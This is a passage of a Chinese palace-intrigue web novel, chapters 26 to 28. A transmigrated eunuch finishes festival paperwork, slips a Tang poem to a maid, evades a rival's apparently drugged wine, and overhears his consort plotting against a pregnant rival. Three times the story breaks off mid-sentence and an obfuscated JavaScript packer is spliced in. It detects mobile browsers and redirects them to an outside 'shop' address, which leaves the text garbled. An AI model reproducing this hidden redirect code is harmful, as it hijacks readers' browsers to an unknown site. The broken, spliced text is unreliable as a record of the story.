而青黛,或者说冯昭仪,想从他这里要什么?一把好用的刀?一个可能用来固宠或打击对手的工具?还是一个……排解深宫寂寥的慰藉? 他抿了抿唇,抬手摸了摸自己方才被青黛指尖抚过的脸颊和眼尾。 那触感似乎还在,微凉。 26.第 26 章 离万寿节,只剩两日了。 宫中的气氛,宛若一张绷至极限的弓弦,紧得仿佛能听见细微的颤音。空气里混杂着硝石新漆与新鲜木料的气味。自太和殿至交泰殿,从御花园到各处宫门廊庑,随处可见匠人内监与宫女往来穿梭的身影。彩绸高悬,宫灯逐一试亮,金漆描画之处熠熠生辉,连平日不起眼的石阶角落亦被反复冲刷。教坊司的丝竹乐声日夜不绝,那恢弘而庄重的庆典乐章,隔着重重宫墙,一遍又一遍地漫入各宫各院,挥之不去。 承华宫协理六宫之事,身为昭仪居所,更是诸事汇集之地。前殿后院,人影匆匆,步履皆带着急促。冯媛虽不必亲自监察每一处细节,但所有最终呈报的文书条目,皆须经她过目定夺。青黛更是忙得几乎无片刻停歇,前殿,内务府,乃至皇后宫中,皆需她往来传话协调,脸上那层惯有的沉静也淡了些许,眉目间隐约透出倦意。 关禧所在的西侧书斋,眼下堆满了与万寿节最终定案相关的卷宗,宴席流程的最终核定,内外命妇朝贺的座次图,赏赐物品的详细名录及发放细则,宫中各处庆典期间值守与轮替的最终安排……这些文书已历经多轮核查修订,如今堆积在他案头,需要做最后的归档,誊录清本,以及查漏补缺。 他的工作,与其说是创造或决策,不如说是一台精密的人肉校对与归档机器。确保每一字,每一数,每一职衔皆与定稿无误,格式合乎规制,卷页完整无缺。此乃最是繁琐耗神,亦最不容有失的一环。倘在万寿节那般场合察出纰漏,便是天大的过失。 关禧埋首案牍,几乎感觉不到时间的流逝。窗外明暗交替,廊下宫灯早早亮起。蘸墨,书写,核对,翻阅旧档比对,再书写……重复的动作让他的手腕酸痛,眼睛也因长时间凝视蝇头小楷而干涩发花。但他不敢有丝毫懈怠。这不仅关乎承华宫的体面,也关乎他自己的生死,青黛将他放在这个位置,是信任,更是考验。任何一点瑕疵,都可能成为别人攻击承华宫,或者攻击他本人的借口。 他看到了玉芙宫额外添置的戏台陈设清单,数目奢华;看到了皇后宫中批复关于某些低位妃嫔座次调整的模糊指示;看到了内务府呈报一批由江南织造紧急增补的绸缎入库记录,其中一部分标注的用途颇为隐晦……这些信息碎片在他脑中掠过,被他强行按下,专注于眼前的字里行间。 万寿节,是皇帝的庆典,也是后宫各方势力角力与展示的舞台。每一处细节,都可能暗藏机锋。 终于,在万寿节前一天的下午,关禧将最后一册核对无误,誊录工整的赏赐名录清本合上,轻轻放在了已摞起半尺高的文书堆最上方。 他长长地舒了一口气,向后靠在坚硬的椅背上,闭了闭干涩发烫的眼睛。 完成了。 书斋内异常安静,只有窗外隐约传来远处宫苑最后的忙碌声响。夕阳的金红色余晖透过窗棂,在书案和堆满卷宗的书架上投下长长的光斑,空气中的尘埃在光柱中缓缓舞动。 他缓缓站起身,活动了一下僵硬的脖颈和手腕,开始有条不紊地收拾书案。将用过的毛笔洗净,挂在笔架上;将砚台里的残墨处理干净;将散落的纸张归拢整齐;把那些已完成归档的文书,分门别类地放入指定的紫檀木匣中,匣盖上贴着不同的签条。 这些木匣,明日一早,便会由青黛或她指定的人,分别送至内务府,皇后宫中以及冯昭仪处备案留存。 收拾的过程缓慢而细致。 当书案重新变得整洁空旷,只剩下那盏黄铜烛台和一本他平日里随手翻阅,用以核对生僻字或典章的旧书时,关禧的动作顿了顿。 他的目光落在窗外那抹即将消逝的晚霞上,又缓缓移回空荡荡的书案。 青黛。 这两个字无声地划过心间。这些时日,她无疑是承华宫最忙碌,压力最大的人之一。她的身影总是匆匆,她的指令简洁明确,她的眼神在疲惫之下依旧锐利清醒。那晚暖阁中异常的靠近与质问,仿佛只是一场模糊而惊心的梦,被接踵而来的繁杂事务冲淡,却又在某些独处的瞬间,悄然浮现。 他想起她指尖微凉的触感,想起自己那句未经思考的“这般好看”。 一种冲动,毫无征兆地攫住了他。 他重新坐下,抽出一张裁剪整齐,质地细腻的素笺,这是誊录重要文书时才会用的好纸。他拿起那支刚刚洗净,笔尖尚且湿润的紫毫小楷,略一沉吟,蘸了墨,悬腕,落笔。 不是他自己作诗。来自现代的关禧,背过不少诗词,但限于应试范围,且多为名篇中的名句。让他凭空创作一首符合此时心境,又不逾矩的七律或绝句,那是万万不能。但脑海中的库存里,恰好有一首,似乎隐隐契合他此刻某种难以言说的心绪,也或许,能隐晦地向那个身处漩涡中心,同样疲惫而孤清的人,传递一丝超越身份与境遇的理解与……慰藉。 他写得极慢,极认真,每一个字都力求工整隽秀。 君问归期未有期, 巴山夜雨涨秋池。 何当共剪西窗烛, 却话巴山夜雨时。 没有署名,没有落款。只有这四行清瘦工整的楷书,静静地躺在素白的纸笺上。 归期未有期。他关禧的归期在何方?是渺茫不可知的现代,还是这深宫之外的自由天地?亦或是,仅仅是从这无休止的文书劳形与人心算计中,片刻的喘息? 巴山夜雨,秋池涨满。恰似这宫廷中无处不在的压抑,漫溢心头。 何当共剪西窗烛,却话巴山夜雨时。这是一种遥远的希冀,在孤寂中,对未来能够坦然倾诉的陪伴的想象。无关风月,至少不全是。更像是一种灵魂层面的共鸣,渴望在历经风雨后,能有一个平静的角落,一盏温暖的灯,一个可以却话当年夜雨的人。 青黛能看懂吗?她会如何理解? 关禧不知道。他只知道,自己想写,便写了。 墨迹渐干。他将诗笺小心地拿起,轻轻吹了吹,然后夹进了那本他常翻的旧书里,那是一本前朝文人编纂的《雅音辑略》,收录的多是些清雅闲适的诗词歌赋,青黛有时会来取阅。放在这里,她若是来寻书,或许能看到;若是看不到,也罢。 做完这一切,他再次检查了一遍书斋,确认一切井井有条,火烛已灭,这才轻轻带上房门,走了出去。 廊下宫灯已燃,晕开团团暖光。前殿方向还有隐约的人声,大约是青黛或冯昭仪还在处理最后的事务。 关禧侧耳听了听,模糊的人声隔着庭院和回廊传来,听不真切,也辨不出是谁。 他对那边的事没什么兴趣,或者说,他强迫自己不要有太多兴趣。知道的越多,牵扯越深,便越难脱身。眼下他只觉得胃里空空荡荡,一阵紧似一阵的抽搐感提醒着他,该去用晚饭了。 这个身体……关禧抿了抿干燥的嘴唇,心底涌起一丝烦躁。小离子这具身体,许是前些年亏空得太厉害,又正卡在十五六岁抽条长个的年纪,自从伤口养好,饮食稍见油水后,便像填不满的无底洞,时常不到时辰就饿得前胸贴后背,消化得也快。明明晚膳的钟点刚过不久,此刻腹中的空虚感却已如此鲜明。 他按了按隐隐作痛的胃部,不再耽搁,转身朝着后院膳房的方向加快脚步。 越是临近万寿节,各处的规矩也更严了些。平日这时辰,后院或许还有些喧嚣,此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936719|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却异常安静。穿过一道月亮门,便闻到了属于大锅饭菜的气味,油脂,盐酱,米面蒸腾的混合味道,谈不上多好闻,却实实在在勾动着辘辘饥肠。 太监用膳的棚屋比往常更显拥挤。因着节前事务繁杂,许多人当差结束得晚,都聚在这里,埋头对付着碗里的食物。 关禧刚走到门口,便感觉到几道视线或明或暗地扫了过来。有好奇,有打量,也有不加掩饰的冷漠。他恍若未觉,低着头,径直走向领取饭食的窗口。 今日的菜色比昨日又好了些,大锅里的杂烩菜能见到些零星的肉末,贴在桶壁上的黄面馍馍也似乎比往常大了半圈。掌勺的太监瞥了他一眼,没说话,只按例舀了满满一勺杂烩菜扣进他的粗陶碗里,又拣了两个最大的馍馍放在碗沿。 关禧低声道了谢,端着沉重的陶碗,目光在拥挤的棚屋内扫视,想找个稍微僻静的角落。 大多数条凳都已被占满。他看到了曹旺那伙人,坐在靠近柱子的一桌,曹旺正对着旁边的人唾沫横飞地说着什么,眼角余光瞥见他,声音顿了一下,随即又若无其事地转开,只是那眼神里的阴郁,在昏黄灯光下像结了层薄冰。 关禧不想惹事,正打算绕开,见靠墙的一张条凳旁——陈立德,承华宫的掌事太监之一,刚好吃完,正用帕子慢条斯理地擦着嘴。他身边往常围着的人都不在,只他一人。 陈立德也看到了关禧,那双眼在他脸上和手里的碗上转了转,没什么表情,却几不可察地用下巴点了点自己对面的空位。 关禧略一迟疑。陈立德虽对他不冷不热,偶有刁难,但毕竟是承华宫的老人,是冯昭仪从潜邸带来的,地位不同。他主动示意,不好拒绝。 他端着碗走过去,在陈立德对面坐下,将碗筷放好,低声道:“陈公公。” 陈立德“嗯”了一声,将帕子收进袖中,目光扫过关禧碗里堆尖的饭菜,扯了扯嘴角:“年轻,是能吃。”语气听不出是随口一说还是别有意味。 关禧掰开一个黄馍馍,热腾腾的蒸汽混着麦香扑面而来,他实在饿得狠了,也顾不得许多,先咬了一大口,粗糙的麸皮刮过喉咙,混合着唾液,带来实实在在的饱足感,才就着咸涩的杂烩菜咽下去。 “刚忙完书斋的活儿?”陈立德没急着走,手指在油腻的桌面上无意识地敲了敲。 关禧咽下嘴里的食物,恭敬答道:“回公公,是,刚将明日要归档的文卷理清。” “理清了就好。”陈立德目光望向棚屋外沉沉的夜色,声音压得低了些,像是自言自语,又像是说给关禧听,“万寿节是个大坎儿,过得去,阖宫上下都能喘口气,过不去……嘿嘿。”他干笑两声,没说完,转而道,“咱们承华宫,万事求个稳当,不出头,也不落人后。你如今在娘娘和青黛姑娘跟前走动,更得记牢了。有些事,看见了当没看见,听见了,也得烂在肚子里。” 关禧咀嚼的动作慢了一拍,抬眼看向陈立德。对方却不再多说,只站起身,掸了掸袍子。 “玉芙宫那边,今儿下午动静不小。”陈立德临走前,像是忽然想起什么无关紧要的闲话,“一套上好的雨过天青瓷,说砸就砸了……烈火烹油,也得小心烧干了锅底。” 说完,他也不看关禧的反应,背着手,迈着惯常的方步,踱出了棚屋。 关禧独自坐在条凳上,指尖无意识地摩挲着粗陶碗沿粗糙的缺口。胃里被食物填满了,暖烘烘的,可陈立德最后那几句意有所指的话,却像一缕钻进骨头缝里的夜风,带着刺人的寒意。砸瓷器……徐昭容为何发这么大火?是因为万寿节筹备不顺,还是别的? 他收拾好自己的碗筷,也离开了膳棚。 27.第 27 章 万寿节这日,天还未亮。 承华宫前殿已灯火通明,脚步杂沓,环佩轻响。 关禧在自己的小屋里就能清晰地感受到那份紧绷的忙碌。他按规矩起身洗漱,换上那套相对较新的靛青色太监服,束好头发,将自己收拾得干净利落,然后便安静地待在房中。 冯昭仪与青黛一早就出去了。作为协理六宫的妃嫔,冯媛需在天明前抵达交泰殿,青黛作为心腹,自然寸步不离。陈立德也带着几个得用的太监随侍仪仗。偌大的承华宫,被抽走了主心骨,只剩下他们这些留守的低等内侍和粗使宫女。 关禧按青黛昨日的吩咐,留在书斋候命。实际上,万寿节当天,所有典礼宴饮皆有固定流程与专人负责,他这样一个负责文书的小太监,并无用武之地。所谓的候命,更像是一种保护性的闲置,将他与外面的喧闹和潜在的风险隔离开来。 辰时,隐约的钟鼓乐声自前朝方向传来,沉浑庄严,穿透层层宫墙。那是皇帝在太极殿接受百官朝贺了。 关禧推开书斋的窗,遥望那个方向。 天空是庆典日特有的被无数旗帜与彩绸映照出的亮色。他能想象那白玉阶下黑压压的朝服,山呼万岁的声浪,也能想象后宫交泰殿前,凤冠霞帔的皇后领着如云的美人,向永寿宫方向行礼如仪。 那是另一个世界,与他隔着天堑。 书斋里异常安静。昨日整理好的紫檀木匣已被取走,案头空荡,只有笔墨纸砚,和那本夹着诗笺的《雅音辑略》。 关禧走过去,手指拂过书脊,最终没有翻开。 无事可做。紧绷了多日的神经骤然松弛,他回到自己那间小屋,和衣躺在了硬板床上。外面隐约的乐声,人声,像是隔着一层厚厚的毡子,模糊而不真切。他闭上眼睛,竟真的睡着了。 这一觉睡得并不安稳,光怪陆离的梦交织着现实与过往。一会儿是数学卷子上扭曲的符号,一会儿是停尸房冰冷的草席和剧痛,一会儿是青黛在浴堂门口提着灯的清冷面容…… 再次醒来时,已是日上三竿。阳光透过窗纸,在室内投下明亮的光斑。 关禧坐起身,发了会儿呆。腹中传来清晰的饥饿感。节日的恩典之一,便是今日的伙食会比平日更好,且供应时间也宽松些。 他下床,慢慢踱到后院膳房。 果然,大锅里炖着油汪汪的红烧肉,掺着豆腐和粉条,香气扑鼻。蒸笼里是雪白的开花馒头,还有一桶飘着油花的蛋花汤。留守的太监宫女们三三两两地聚在一起,脸上带着难得的轻松,低声说笑,交换着听来的前朝或后宫庆典的零碎消息。 “听说陛下在宴上夸了徐昭容娘家献上的贺礼,是一尊整玉雕的寿星献桃!” “太极殿前的百戏表演可精彩了,有西域来的幻术师,能凭空取火!” “皇后娘娘今日的气色瞧着真好,那身明黄礼服,听说绣了整整一年……” 关禧默默打了一份饭菜,拣了个无人的角落坐下,安静地吃着。红烧肉肥腻,馒头松软,蛋花汤寡淡,确实是过节的味道。他吃得很快,吃完便起身离开,没有参与任何闲聊。 回到小屋,困意再次袭来。或许是前些时日太过耗神,又或许是这刻意营造的节日悠闲氛围本身就像一种麻醉。他再次躺下,竟又沉沉睡去。 这一觉直接睡到了申时。 醒来时,夕阳西斜,将窗纸染成温暖的橙红色。庆典的乐声似乎更清晰了些,还夹杂着隐约的鞭炮和欢呼声,想来是宫宴正酣,或者有什么特别的节目。 关禧揉了揉额角,起身用冷水洗了把脸。清醒后,那种无所事事的空虚感更明显了。他在狭小的房间里踱了两步,推开房门。 承华宫的前半部分依旧静悄悄的,只有廊下几盏宫灯早早亮起,在渐浓的暮色中晕开暖黄的光。大部分留守的宫人,此刻大约也聚在膳房或各自住处,享受着这难得的,无人管束的闲暇。 他信步走到庭院中。夕阳的余晖给殿宇的飞檐翘角涂上金边,院中的花木也被镀上一层柔光。白日里有人简单洒扫过,地面干净,草木整齐。他走到那日与青黛说话的回廊下,倚着朱漆柱子,望着天边最后一抹亮色。 冯昭仪和青黛她们,此刻应该在后宫夜宴上吧?面对满座珠翠,应对各方机锋,保持恰到好处的微笑与仪态。那是什么样的光景?会比这里更安全吗? 他摇摇头,甩开这些无谓的思绪。 天色完全黑透时,他才感到腹中又有些空了。晚膳的时辰早已过去,但今日特殊,膳房应该还有些残羹剩饭。 他再次走向后院。越靠近膳房区域,越能听到隐约的,比白日更放肆些的笑闹声,空气中除了饭菜香,似乎还飘着一丝……酒气? 关禧脚步微顿。宫中严禁下人私自饮酒,尤其是万寿节这等大典之日,巡查更严。谁这么大胆? 他刚走到膳棚门口,里面的说笑声便戛然而止。 棚内点着几盏油灯,光线昏暗。只见曹旺正坐在当中一张桌子旁,面前摆着几个空盘,还有一个粗糙的陶制酒壶,两个酒碗。他脸上泛着不正常的红光,眼神也有些飘,显然是喝了酒。他旁边还坐着两个平日与他交好的太监,也都面带酒意,此刻看到关禧,神色各异。 最让关禧心头一跳的是,曹旺对面的条凳上,竟然放着一碗还冒着热气的饭菜,看菜色,甚至比中午的还要好些,旁边还摆着一双干净的筷子。 “哟!咱们的书斋先生,可算是睡醒了?”曹旺打了个酒嗝,伸手拍了拍旁边的条凳,“来来来,坐!给你留着饭呢!还热乎!” 另外两个太监也挤出不自然的笑容,附和道:“就是,小离子,快来,曹公公特意给你留的!” 关禧站在门口,没有立刻进去。曹旺的热情太反常了。他们之间从无交情,只有曹旺单方面的嫉恨与排挤。这酒,这特意留的饭菜,都透着一股阴谋的味道。尤其是那酒壶和酒碗,在昏暗灯光下,像蛰伏的毒蛇。 “谢曹公公好意。”关禧垂下眼,语气平静,“我不饿,曹公公和两位哥哥慢用。”说着,他转身就想离开。 “站住!”曹旺的声音猛地拔高,他摇摇晃晃地站起来,走到关禧面前,一股浓烈的劣质酒气混合着他身上的汗味扑面而来,“怎么?看不起咱家?还是觉得咱家不配请你吃饭喝酒?” 他凑近关禧,压低声音,却又确保旁边两人能听到:“小离子,咱们同在一个宫里当差,往日里……咳咳,可能有些误会。今儿个是万寿节,大喜的日子!陛下都与民同乐,咱们底下人,也该乐乐,化干戈为玉帛,你说是不是?” 他不由分说,一把抓住关禧的手腕,力道很大,将他往桌边拖:“就一碗饭,一杯酒!喝了这杯酒,往日的不痛快,一笔勾销!以后在承华宫,哥哥我罩着你!” 关禧被他拽得一个趔趄,手腕被攥得生疼。他挣了一下,没挣脱。曹旺虽然喝了酒,但力气不小,而且显然打定了主意不让他走。另外两个太监也围了过来,隐隐堵住了去路。 “曹公公,我真的不饿,也不会喝酒……”关禧试图挣脱,心中警铃狂响。这酒绝对不能喝! “不会喝?学嘛!”曹旺将他按在条凳上,拿起那个酒壶,哗啦啦倒满了一碗浑浊的酒液,酒气更加刺鼻。他将酒碗重重地放在关禧面前,“是男人,就得会喝!还是说……你这半残的身子,连酒也消受不起?” 最后那句话,恶意几乎不加掩饰。旁边两个太监发出附和的笑声。 关禧看着面前那碗浑浊的酒液,在昏暗灯光下泛着可疑的泡沫。他毫不怀疑,这酒里肯定加了料。曹旺想干什么?让他醉酒失态,触犯宫规?还是……有更歹毒的打算?万寿节期间,若是闹出太监酗酒滋事,甚至秽乱宫闱的丑闻,他必死无疑,还可能牵连承华宫。 绝不能喝。 他抬起头,脸上勉强挤出一点笑容:“曹公公盛情,小的实在不敢当。只是……我身上有旧伤,娘娘和青黛姐姐都叮嘱过,忌食辛辣,更忌饮酒。若因一杯酒坏了身子,耽误了娘娘交代的差事,我实在担待不起。不如……不如以茶代酒,敬公公一杯?” “旧伤?”曹旺嗤笑一声,眼神在他下半身瞟了一眼,意味深长,“你那伤……不是早好了吗?在承华宫吃香喝辣,养得细皮嫩肉的,喝点酒算什么?还是说,你根本不给咱家这个面子?看不起咱家?” 他语气越来越重,眼神也愈发凶狠,显然打定主意要逼关禧喝下这碗酒。旁边两个太监也跟着帮腔,棚屋内的气氛陡然紧张起来。 关禧的心沉到了谷底。他知道,今天恐怕很难善了。曹旺是有备而来,借着酒劲,就是要把他往死里整。硬抗,对方人多势众,又喝了酒,什么事都做得出来。喝,那更是自寻死路。 电光火石间,他目光扫过桌上的酒壶和酒碗,又瞥见曹旺因为激动而微微颤抖的手。 “曹公公息怒!我……我岂敢不给公公面子!只是……只是这酒,闻着就烈,我实在是……怕一口下去就倒了,反而扫了公公和各位哥哥的兴。”他一边说,一边像是害怕极了,伸手去端那酒碗,手指却“不小心”碰到了碗沿。 “啪!” 酒碗被他“慌乱”中碰倒,浑浊的酒液泼洒出来,溅湿了桌面,也溅了几滴在他自己的袖口上。 “哎呀!我笨手笨脚!”关禧慌忙站起,连声道歉,用袖子去擦桌上的酒渍,却显得更加手忙脚乱,将酒壶也带得一晃。 曹旺没料到他来这一出,先是愣了一下,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另外两个太监吓得魂飞魄散,跟着跪下,头都不敢抬。关禧也顺势退开两步,垂下头,心脏仍在狂跳,后背已被冷汗浸透。 青黛缓缓走进棚屋,脚步声在寂静中格外清晰。她走到桌边,低头看了看那碗酒,又抬眼看了看关禧惨白的脸色和溅了酒渍的袖口,最后,目光落在跪在地上,浑身发抖的曹旺身上。 “万寿节大典之日,宫规明令禁止下人私聚饮酒。”她的声音不高,却带着冰碴,“曹旺,你好大的胆子。” “姑娘饶命!姑娘饶命!”曹旺磕头如捣蒜,“奴才……奴才只是一时糊涂,想着过节……绝无下次!绝无下次了!” “一时糊涂?”青黛弯腰,拿起那个酒壶,凑近鼻端闻了闻,眉头立刻蹙起,眼神变得更加冰冷,甚至还闪过一丝极快的厌恶,“这酒……味道倒是特别。” 曹旺身体剧震,脸如死灰,瘫软在地,再也说不出一句完整的话。 青黛不再看他,转向关禧:“你没事吧?” 关禧深吸一口气,稳住声音:“回姐姐,小的无事。曹公公……只是邀小的喝一杯,小的不会饮,正要推辞,姐姐便来了。” 青黛盯着他看了几秒,似乎想从他脸上看出什么,最终只是淡淡道:“不会饮是好事。宫中当差,最忌贪杯误事,更忌……心思不正。”她意有所指地瞥了一眼瘫软的曹旺。 “你们两个,”她指向跪着的另外两个太监,“把曹旺拖回他屋里看管起来,没有我的允许,不准踏出房门半步,明日再行发落。” “是!是!”那两个太监如蒙大赦,连拖带拽地把几乎瘫软的曹旺架了起来,踉踉跄跄地退了出去。 膳棚内只剩下青黛和关禧两人,以及一桌狼藉和那刺鼻的酒气。 青黛将酒壶重重放在桌上,发出沉闷的响声,她看向关禧,语气恢复了平日那种听不出情绪的平静,“万寿节夜宴未散,娘娘体恤,让我先回来看看。倒是赶上一出好戏。” 关禧低着头:“是小的处事不当,惹来麻烦,劳烦姐姐了。” “麻烦不是你的。”青黛打断他,目光再次落在那碗酒上,眼神幽深,“这宫里头,想找麻烦的人,从来不会缺了由头。今日你若不慎喝了这酒……”她没有说下去,但话里的寒意让关禧不寒而栗。 “把这收拾了。”青黛命令道,“然后回你自己屋里待着,今夜无事不要出来走动了。” “是,姐姐。”关禧连忙应下,开始动手收拾桌上的碗盘和酒渍。 青黛站在原地,看着他动作利落地清理,忽然又开口,声音低了些,像是自言自语,又像是说给他听: “巴山的夜雨……终究是涨了秋池。” 关禧擦拭桌面的手一僵,指尖微微发颤。 她看到了。那首诗。 他不敢抬头,也不敢接话,头垂得更低,默默地将污秽擦净,将碗筷收起。 青黛没有再说什么,转身,淡青色的身影融入了门外沉沉的夜色中。 28.第 28 章 不知过了多久,外面传来更梆声,三更了。 庆典应该接近尾声,或者已经结束了。 承华宫前院方向传来了动静。不是喧闹,而是一种刻意放轻,却因人数不少而无法完全掩盖的脚步声,环佩轻撞声,以及听不真切的交谈声。 她们回来了。 关禧从床上爬起来,走到门边,侧耳倾听。那动静径直往正殿方向去了,随后,正殿的灯火更明亮了些,人影在窗纸上晃动。 又过了一会儿,一阵略显急促的脚步声由远及近,停在了他的门外。不是青黛,脚步更沉些。 “小离子?睡下了吗?”是陈立德的声音。 关禧立刻打开门:“陈公公,小的还未歇下。” 陈立德站在门外,脸色在廊下昏暗的灯光下显得有些晦暗不明,他快速打量了关禧一眼,见他衣衫整齐,神色虽有些苍白但还算镇定,便道:“娘娘回来了,身上乏得很,要沐浴解乏。青黛姑娘那边……怕是不得空,你……去浴堂那边候着,看看热水、香膏、换洗衣物可都齐备了。仔细些,别出岔子。”他说罢,又补充道,“就在外间候着,没叫你别进去。机灵点。” 让他去浴堂候着?在这个时辰?关禧心头一紧,立刻联想到那晚浴堂的惊魂,以及青黛最后那句意味深长的话,但他不敢质疑,更不敢拒绝,连忙应道:“是,小的这就去。” 陈立德点点头,没再多说,转身匆匆走了,背影消失在回廊拐角,似乎还有别的事要忙。 关禧定了定神,回屋飞快地检查了一下自己的衣着,确认无误,这才朝着承华宫后方那处他既熟悉又恐惧的浴堂走去。 浴堂所在的小院静悄悄的,与前殿隐约的忙碌截然不同。廊下只悬着一盏气死风灯,光线昏黄。浴堂的门虚掩着,里面透出温暖的水汽和清雅的檀香气息,是冯昭仪惯用的沐浴香膏的味道。 关禧没敢直接进去,先在门口停下,侧耳听了听。里面只有潺潺的水声,是池水在流动,没有其他动静。他轻轻叩了叩门板,低声道:“娘娘,青黛姐姐,小的奉命过来看看热水器物可都齐备。” 里面静了一瞬,随即传来冯媛的声音,“进来吧,在外间候着便是。”隔着水汽,听起来比平日更慵懒,也更疲惫。 “是。”关禧推门进去,反手将门虚掩。 外间与他上次光顾时并无太大变化,只是多了一盏更亮的琉璃灯,将室内的汉白玉池壁,光洁的地面照得清晰了些。空气中水汽氤氲,混合着檀香与一种青草般的清新气息,是浴池边矮几上燃着的香炉里散发出来的。 内间通往浴池的门垂着厚厚的青色纱帘,此刻纱帘并未完全放下,留着一道缝隙。透过缝隙,能看到氤氲升腾的白色水汽,以及浴池一角。水声正是从里面传来。 关禧不敢多看,立刻垂眼,规规矩矩地站在外间靠墙的位置,快速扫视外间,干净柔软的浴巾叠放整齐,备用的香膏澡豆放在触手可及的漆盘里,一套月白色的干净寝衣搭在紫檀木衣架上,熏笼里燃着淡淡的安息香,显然是用来熏暖待会儿要穿的衣物。一切井井有条,无需他再多做什么。 他只需安静地站在这里,等待可能的吩咐。 内间的水声持续着,偶尔夹杂着极轻的水波晃动声。沉默在温暖湿润的空气里蔓延,只有香炉里香料细微的噼啪声,和关禧刻意放缓的呼吸声。 过了约莫一盏茶的时间,水声停了。 片刻后,青黛的声音从内间传来,“小离子,娘娘要更衣了,把熏笼上的寝衣递进来。” “是。”关禧应道,小心翼翼地将那套月白色寝衣从衣架上取下。触手柔软微温,带着安息香宁神的气息。他捧着衣服,走到内间门口,隔着纱帘,恭敬地递了进去。 一只湿漉漉,肌肤白皙的手臂从纱帘后伸出,接过了衣物。是青黛的手,指尖被热水泡得微微泛红。 关禧迅速收回手,退后两步。 内间传来窸窸窣窣的穿衣声,还有青黛极低的询问和冯媛同样低微的回应。又过了一会儿,纱帘被轻轻挑起。 冯媛走了出来。 她穿着一身月白色软绸寝衣,长发湿漉漉地披散在身后,发梢还在滴水,浸湿了肩头一小片衣料,透出底下肌肤柔润的轮廓。脸上未施脂粉,被热水蒸腾出自然的红晕,眼角眉梢带着浓得化不开的倦意,那倦意不只是身体上的疲惫,更似一种心力交瘁后的空茫。她的眼神落在关禧身上,像是看见了,又像是没看见,目光有些涣散。 青黛紧随其后,也已换上了一套干爽的淡青色便装,头发同样湿着,简单挽在脑后。她的神色比冯媛凝重得多,眉头微蹙,嘴唇抿成一条直线,眼神沉郁。 “娘娘,小心脚下。”青黛搀扶着冯媛,走到外间一张铺着软垫的贵妃榻旁。 冯媛依言坐下,青黛立刻拿起一块干燥柔软的大布巾,站在她身后,开始为她绞干头发。动作轻柔熟练。 关禧垂首肃立,努力降低自己的存在感。他能感觉到,两人之间弥漫着一种山雨欲来的压抑。万寿节夜宴上,一定发生了非同寻常的事情。 果然,青黛一边绞着头发,一边用极低的声音,打破了沉默:“娘娘,此事……还需早做打算。玉芙宫那边既然敢当众宣布,必是有了十足把握,太医署那边,怕是早已打点妥当。如今阖宫上下,乃至前朝,恐怕都已传遍了。” 冯媛闭着眼,任由青黛摆布,闻言只是极轻地“嗯”了一声,听不出情绪。 宣布?宣布什么?关禧心中疑窦顿生。 青黛继续道,声音压得更低,但在这寂静的浴堂里,依旧清晰地传入关禧耳中:“陛下虽然……虽然未露太多喜色,但太后娘娘当场便赏了玉芙宫诸多珍宝,还嘱咐太医署精心照料。皇后娘娘虽也说了几句场面话,可那笑意……未达眼底。眼下,徐昭容风头无两,怕是连皇后娘娘,也要暂避其锋芒了。” 冯媛终于睁开眼,眼中一片清明冷静,方才的倦怠空茫仿佛只是错觉。她看着前方空气中氤氲未散的水汽,指尖无意识地摩挲着寝衣袖口细腻的绣纹,缓缓开口,声音平静:“陛下登基数载,后宫一直无所出,太后与朝臣们早已心急如焚。如今徐昭容有孕,无论是男是女,都是皇室血脉,是天大的喜事。陛下即便心中另有计较,于情于理,都会维护。太后更是如此。” “至于皇后娘娘……中宫无所出,如今让一个昭容抢了先机,心中作何想法,外人不得而知。但玉芙宫如今是众矢之的,亦是烈火烹油,皇后娘娘协理六宫,自然更要尽心尽力保这一胎安稳。” 这话里的意味,关禧听得心惊。冯昭仪这是在说,皇后表面要保徐宛白的胎,实则……可能更希望这一胎出点意外?而皇帝和太后的态度,则是徐宛白此刻最大的护身符。 青黛手下动作未停,语气却带上了几分忧急:“娘娘,正因如此,咱们才更不能坐视。徐昭容此人,骄纵跋扈,毫无容人之量。从前她便处处与娘娘为难,若真让她凭着子嗣更进一步,甚至诞下皇子……这后宫,焉能有我承华宫的立足之地?陛下虽未设贵妃,但四妃之位尚有空悬,若她母凭子贵,晋位妃位,协理宫务之权,恐怕……” 后面的话她没有说下去,但意思再明白不过。徐宛白一旦凭借孩子上位,第一个要打压的,就是协理宫务且与她素有嫌隙的冯媛。冯媛如今昭仪之位已是嫔妃中的顶峰,再往上便是妃,若被徐宛白抢先,形势将极为被动。 冯媛沉默了片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关禧在一旁听得背脊发凉。冯媛这是要明修栈道暗度陈仓,表面上不动徐宛白的胎,甚至可能示好,暗地里却在收集徐宛白及背后家族的错处,关键时刻抛出来,借皇后或朝堂之力,将其打落尘埃。而来路不明的赏赐,是否就是指那醉仙引? 青黛显然早已与冯媛心意相通,点头:“奴婢明白了。玉芙宫近日用度逾制之处,还有徐昭容兄长在外朝的些许动作,奴婢已着人留意。只是……徐昭容如今有孕,陛下和太后关注甚多,咱们的动作需得加倍小心,不能留下任何把柄。” “这是自然。”冯媛重新闭上眼,有些累了,“那些记录,都交由你仔细保管。至于小离子……”她话锋一转,提到了静立一旁的关禧。 关禧心头一跳,连忙将头垂得更低。 “他心思细,字也好,那些明面上的往来记录、用度核对,不妨让他也多经手。有些东西,越是摆在明面上,越是不惹人怀疑。”冯媛的语气听不出喜怒,仿佛只是在安排一件寻常差事,“况且,他这张脸……王公公当初那般费心,陛下也是问过一句的。放在承华宫,总比放在别处,更让人放心些。” 